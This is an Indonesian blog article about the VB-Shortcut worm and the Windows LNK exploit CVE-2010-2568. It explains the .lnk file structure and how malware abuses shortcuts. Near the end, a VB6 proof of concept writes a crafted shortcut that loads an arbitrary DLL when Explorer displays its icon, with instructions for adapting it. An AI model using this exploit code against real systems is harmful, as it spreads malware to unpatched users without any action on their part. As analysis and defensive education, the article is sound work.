Dengan menggunakan teknik eksploitasi LNK Exploit, VB-Shortcut dapat menyebar dengan cepat dan mudah. Teknik ekspoitasi ini kali pertama diperkenalkan oleh worm Stuxnet pada pertengahan Juni 2010. Dengan tidak adanya banyak varian dari worm ini, Stuxnet pun terminimalisasi oleh aplikasi antivirus. Berbeda dengan VB-Shortcut, varian terbaru dari worm ini terdapat fitur untuk meng-update dirinya agar lolos dari kejaran antivirus.
LNK Exploit
Teknik LNK Exploit inilah yang menjadi senjata VB-Shortcut dalam melakukan ekspansi ke komputer lain. Implementasi dari teknik ini, yaitu worm membuat shortcut untuk memanggil fi le worm. Hebatnya, shortcut ini dapat aktif meskipun shortcut tidak dijalankan terlebih dahulu oleh pengguna, ataupun shortcut ini tidak perlu tereksekusi otomatis oleh fi tur Autorun Windows. Shortcut ini akan aktif ketika pengguna membuka Windows Explorer ataupun aplikasi sejenis, selama aplikasi tersebut menampilkan icon yang terdapat pada shortcut.
Microsoft mendokumentasikan LNK Exploit pada Microsoft Security Advisory (2286198), dan mengeluarkan patch pada akhir bulan Agustus 2010. Dengan patch ini, file shortcut tidak akan otomatis tereksekusi ketika membuka Windows Explorer. Namun, semenjak banyak pengguna yang tidak melakukan update Windows atau bahkan tidak mematikan fi tur AutoRun, worm ini tetap mampu eksis dan bergentayangan.
Mengenal Shortcut
Shortcut seringkali digunakan sebagai cara cepat untuk memanggil suatu program. Ketika menginstal suatu program, shortcut seringkali juga dibuat oleh installer pada desktop ataupun Start Menu untuk mempermudah pengguna dalam mengakses program. Shortcut juga berperan penting di dalam item pada Control Panel. Shortcut sudah dipakai oleh Microsoft sejak Windows 95, tetapi baru didokumentasi oleh Microsoft pada tahun 2009. Sejak kemunculan worm Stuxnet, dokumentasi ini pun ditarik, dan digantikan dengan versi baru.
Shortcut merupakan objek dimana terdapat informasi yang dapat digunakan untuk mengakses objek lain. Pada shortcut, terdapat beberapa struktur yang dipakai untuk menaruh data, berikut antara lain yang dapat dijumpai pada shortcut:
- Shortcut key, digunakan untuk memanggil shortcut melalui kombinasi tombol di keyboard.
- Comment, digunakan untuk member keterangan pada shortcut.
- Advanced, digunakan untuk menjalankan shortcut dengan hak sebagai administrator.
- Change icon, digunakan untuk mengganti icon shortcut dengan icon yang lain.
Dengan adanya shortcut, pengguna tidak perlu menuju lokasi program untuk menjalankan program tersebut. Dengan memanggil shortcut di desktop atau Start menu, maka program dapat dipanggil dengan praktis.
Memprogram Shortcut
Shortcut dapat dibuat dengan mengakses IShellLink interface pada COM object, kemudian selanjutnya dengan mengakses IShellLink ataupun IPersistStream.
Berikut method yang terdapat pada IShellLink untuk membuat, mendapatkan, dan memberikan data pada shortcut (Tabel 1).
Selain dengan mengakses COM object melalui IShellLink interface, membuat file shortcut dapat dengan mudah dengan memanfaatkan Shell Object melalui VBScript. Berikut contoh membuat shortcut menggunakan VBScript:
set WshShell = WScript. CreateObject(“WScript.Shell”)
strDesktop = WshShell.SpecialFolders(“ Desktop”)
set oShellLink = WshShell.CreateShort cut(strDesktop & “\Shortcut Script. lnk”)
oShellLink.TargetPath = WScript. ScriptFullName
oShellLink.WindowStyle = 1 oShellLink.Hotkey = “Ctrl+Alt+f”
oShellLink.IconLocation = “notepad. exe, 0”
oShellLink.Description = “Shortcut Script”
oShellLink.WorkingDirectory = strDesktop
oShellLink.Arguments = “C:\myFile.txt”
oShellLink.Save
TABEL 1. METHODS PADA ISHELLLINK
Method | Keterangan |
---|---|
GetArgument | Mendapatkan parameter untuk Target pada shortcut |
GetDescription | Mendapatkan deskripsi pada shortcut |
GetHotKey | Mendapatkan hotkey pada shortcut |
GetIconLocation | Mendapatkan lokasi icon dan index icon pada shortcut |
GetIDList | Mendapatkan alamat PIDL pada shortcut |
GetPath | Mendapatkan alamat Target pada shortcut |
GetShowCMD | Mendapatkan informasi posisi window saat Target dijalankan |
GetWorkingDirectory | Mendapatkan alamat direktori shortcut |
Resolve | Mendapatkan alamat baru dari Target jika alamat Target berubah |
SetArguments | Mengatur parameter untuk Target pada shortcut |
SetDescription | Mengatur deskripsi pada shortcut |
SetHotKey | Mengatur hotkey pada shortcut |
SetIconLocation | Mengatur lokasi icon dan index icon pada shortcut |
SetIDList | Mengatur PIDL pada shortcut |
SetPath | Mengatur alamat Target pada shortcut |
SetRelativePath | Mengatur alamat Target yang bersifat relative |
SetShowCMD | Mengatur posisi window pada Target |
SetWorkingDirectory | Mengatur alamat folder shortcut |
Struktur Shortcut
Ketika membuat shortcut melalui sisi programming, shortcut akan terbuat secara otomatis sesuai method yang diterapkan. Namun, pembuatan shortcut juga dapat dibuat secara manual tanpa perlu mengakses COM object. Tentunya, cara manual ini masih dalam ruang lingkup pemrograman.
Berikut struktur-struktur yang terdapat pada file shortcut:
- SHELL_LINK_HEADER
- LINKTARGET_IDLIST
- LINKINFO
- STRING_DATA
- EXTRA_DATA
Setiap struktur terdiri dari beberapa bagian lagi, namun bagian STRING_ DATA merupakan struktur yang berisi informasi utama pada shortcut alias informasi yang diatur oleh method melalui IShellLink.
Jika bagian pertama pada fi le executable adalah “4D 5A, pada shortcut dimulai dengan HeaderSize, yaitu “4C 00 00 00”. Di bawah Header_Size terdapat LinkCLSID yang berisi “01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46” Kedua bagian ini merupakan suatu konstanta, selebihnya? Beberapa bagian lainnya ada yang bersifat “polymorphic”.
Eksploitasi Shortcut
Ada berbagai teknik yang dapat dipakai oleh pembuat malware untuk memanfaatkan shortcut dalam menjalankan malware \:
Langsung Memanggil File Malware
Cara ini tergolong mudah untuk menjalankan malware. Shortcut ini biasa dibuat di desktop maupun folder startup untuk memanggil malware. Selain itu, dengan melakukan rekayasa psikologi melalui penamaan fi le yang menarik, shortcut juga dapat ditaruh di network shares maupun fl ash disk.
Parasit
Malware akan menginfeksi atau memodifi kasi program yang akan dipanggil oleh suatu shortcut sehingga program yang akan terpanggil, yaitu fi le malware dan fi le program tersebut. Untuk melakukan ini, malware cukup mengubah target pada shortcut menjadi lokasi malware, diikuti argument berupa lokasi program asli. Terakhir yang dilakukan malware, yaitu mendapatkan argument/ parameter pada dirinya sehingga dapat menjalankan malware.
Berikut contoh kode mendapatkan parameter menggunakan VB6:
Private Sub Form_Load()
If Command$ <> “ “ Then
MsgBox Command$
End If
End Sub
Dengan teknik ini, pengguna dapat mudah terkecoh karena saat membuka shortcut, program yang dijalankannya pun dapat berjalan seperti biasanya.
Script pada Shortcut
Target pada shortcut tidak hanya berisi lokasi fi le, melainkan juga dapat berisi script program. Tidak ada keharusan malware berekstensi .exe ataupun berekstensi .bat. Shortcut pun dapat dijadikan malware dengan memanfaatkan fi le cmd. exe atau wscript.exe. Pada Gambar 4, Anda dapat melihat bagaimana memasukan script bat pada shortcut.
LNK Exploit
Lebih tepatnya, yaitu exploit berdasarkan Microsoft Security Advisory (2286198) CVE-2010-2568. Exploit ini didokumentasi oleh Microsoft pada link http://www.microsoft.com/technet/security/ advisory/2286198.mspx. Secara garis besar, exploit ini memanfaatkan tampilnya icon shortcut pada Windows Explorer. Perintah yang dimanfaatkan oleh pembuat malware pada proses menampilkan icon ini, yaitu LoadLibraryW.
Anda dapat melihat struktur shortcut yang telah dipilah berdasarkan struktur. Bagian LINKTARGET_ IDLIST, terlihat lokasi dari malware, yaitu youifeg.scr. Pada LINKINFO kembali terlihat lokasi malware, dimana lokasi ini akan dipanggil jika lokasi pertama malware tidak ditemukan. Terlihat pada RELATIVE_PATH kembali muncul lokasi malware. Lokasi kali ini dapat diartikan sesuai letaknya, yaitu bertujuan untuk mendapatkan lokasi malware, meskipun shortcut dan malware dipindahkan bersamaan ke lokasi lain.
Untuk membuktikan berhasilnya eksploitasi pada shortcut, diperlukan suatu program debugger seperti DebugView. Langkah yang dilakukan, yaitu:
- Ubah ekstensi shortcut.
- Restart komputer atau jalankan copy fi le malware dan shortcut ke VMWare.
- Buka DebugView.
- Ubah ekstensi shortcut kembali seperti semula.
- DebugView akan menampilkan malware yang tereksekusi secara otomatis. Silakan lihat Gambar 6 untuk lebih jelasnya.
Dengan teknik eksploitasi ini, malware dapat aktif tanpa pengguna perlu menjalankan malware dan shortcut, bahkan tanpa perlu bantuan Autorun pada Windows. Dengan perintah Load- LibraryW yang ikut terpanggil saat menampilkan icon pada shortcut pada Windows Explorer maupun program sejenisnya, malware dapat aktif dengan bantuan shortcut.
Cara Kerja Shortcut
Bagaimana bisa icon yang muncul pada shortcut dapat memanggil suatu program? Sebelum Microsoft mengeluarkan patch untuk mengatasi permasalahan ini, solusi sementara yang ditawarkan Microsoft saat itu adalah dengan mengosongkan nilai dari IconHandler yang berlokasi di HKEY_CLASSES_ROOT\ lnkfi le\shellex\. Nilai dari IconHandler yaitu {00021401-0000-0000-C000- 000000000046}. Nilai ini, yaitu sebagai CLSID/COM object untuk shortcut. Perhatikan konfi gurasi shortcut pada registry:
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}]
@=”Shortcut”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}\InProcServer32]
@=”shell32.dll”
“ThreadingModel”=”Apartment”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}\ProgID]
@=”lnkfi le”
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ CLSID\{00021401-0000-0000-C000- 000000000046}\shellex]
[HKEY_LOCAL_MACHINE\SOFTWARE\ Classes\CLSID\{00021401-0000- 0000-C000-000000000046}\shellex\ MayChangeDefaultMenu]
Tampak library yang mengurus shortcut adalah shell32.dll. Pada shell32.dll inilah pembuat malware memanfaatkan celah untuk memanggil malware.
Berikut alur tampilnya icon pada shortcut:
- shell32.dll memanggil CPL_FindCPLInfo untuk menentukan apakah shortcut mempunyai icon atau tidak.
- Jika ada, fungsi CPL_LoadAndFind- Applet akan dipanggil.
- LoadAndFindApplet memicu CPL_ LoadCPLModule untuk me-load handle dari malware untuk menampilkan icon.
Untuk membuktikan alur kerja tampilnya icon pada shortcut, Anda dapat melakukan debugging, misalnya menggunakan Windbg. Pasang breakpoint pada LoadLibraryW untuk kernel32.dll. Berikut hasil debug oleh ivanlef0u:
kd> g
Breakpoint 1 hit
eax=00000001 ebx=00f5ee7c ecx=0000c666 edx=00200003 esi=00000001 edi=7c80a6e4
eip=7ca78712 esp=00f5e9c4 ebp=00f5ec18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl =00000202
SHELL32!_LoadCPLModule+0x10d:
001b:7ca78712 ff15a0159d7c call dword ptr [SHELL32!_imp__LoadLibraryW (7c9d15a0)] ds:0023:7c9d15a0={kernel32 !LoadLibraryW (7c80aeeb)}
kd> dd esp
00f5e9c4 00f5ee7c 000a27bc 00f5ee78 00000000
00f5e9d4 00000020 00000008 00f5ee7c 00000000
00f5e9e4 00000000 0000007b 00000000 00000000
00f5e9f4 00200073 002000e0 0000064c 0000028c
00f5ea04 1530000a 00000000 003a0043 0064005c
00f5ea14 006c006c 0064002e 006c006c 006d002e
00f5ea24 006e0061 00660069 00730065 00000074
00f5ea34 00090608 7c92005d 00000000 00000007
kd> db 00f5ee7c
00f5ee7c 43 00 3a 00 5c 00 64 00-6c 00 6c 00 2e 00 64 00 C.:.\.d.l.l...d.
00f5ee8c 6c 00 6c 00 00 00 92 7c-c8 f2 f5 00 00 17 72 02 l.l....|......r.
Membuat Shortcut Berbahaya
Sebelum membuat shortcut yang dapat memicu malware, mempelajari referensi detail mengenai struktur shortcut adalah suatu keharusan. Dokumentasi shortcut dapat diperoleh dari [MS-SHLLINK]: Shell Link (.LNK) Binary File Format (link terdapat pada akhir tulisan).
Berikut contoh membuat shortcut berbahaya menggunakan VB6:
Public Function UnHex(sHex As String) As Long
UnHex = Val(“&H” & sHex)
End Function
Private Sub Form_Load()
Dim hexShellCode As String
Dim ShellCode_() As String
Dim decShellCode As String
Dim pos As Long
hexShellCode = “4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 01 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D 14 00 2E 1E 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D 0C 01 00 00 00 00 00 00 00 00 00 00 00 6A 00 00 00 00 00 00 20 00 3A 00 44 00 3A 00 5C 00 62 00 61 00 64 00 75 00 72 00 6C 00 2E 00 64 00 6C 00 6C”
ShellCode_ = Split(hexShellCode, “ “)
For i = 0 To (UBound(ShellCode_()))
decShellCode = decShellCode + Str$(UnHex(ShellCode_(i))) + “,”
Next i
decShellCode = Left(decShellCode, Len(decShellCode) - 1)
ff = FreeFile
ShellCode_ = Split(decShellCode, “,”)
Open “D:\badlnk.lnk” For Binary Access Write As ff
For i = 0 To (UBound(ShellCode_()))
pos = pos + 1
Put ff, pos, CInt(ShellCode_(i))
Next i
Close ff
End Sub
Hasil kode di atas akan membuat fi le dengan nama badlnk.lnk. Hapus byte terakhir menggunakan hex editor untuk membuat shortcut tersebut berjalan.
Shortcut ini akan memanggil fi le DLL bernama badurl.dll di drive D. Edit badlnk menggunakan hex editor untuk mengubah lokasi fi le DLL yang ingin dipanggil. DLL sendiri merupakan file DLL biasa yang juga dapat dibuat menggunakan bahasa pemrograman, seperti Delphi:
library badurl;
uses
windows;
begin
OutputDebugString(pchar(‘LAZY MALWARE WANNA a.k.a THE FAME MONSTER! ‘))
end.
Simpulan
Shortcut merupakan salah satu cara yang digunakan untuk membantu penyebaran malware. Tidak membuka shortcut yang terdapat pada removable disk merupakan tindakan preventif yang baik agar terhindar dari shortcut yang menjalankan malware.
Selalu update Windows merupakan pilihan mutlak bagi Anda yang menjunjung tinggi nilai keamanan dalam berkomputer.
Demikian pembahasan singkat tentang Pemicu Malware Melalui Penyebaran Shortcut di Beberapa Folder. Mudah-mudahan akan memberikan manfaat bagi kita semua, jangan lupa masukan berupa saran, kritik atau sekedar komen selalu saya tunggu dan tak lupa selalu saya ucapkan terima kasih karena telah berkunjung di blog sederhana ini.
Show Parser Hide Parser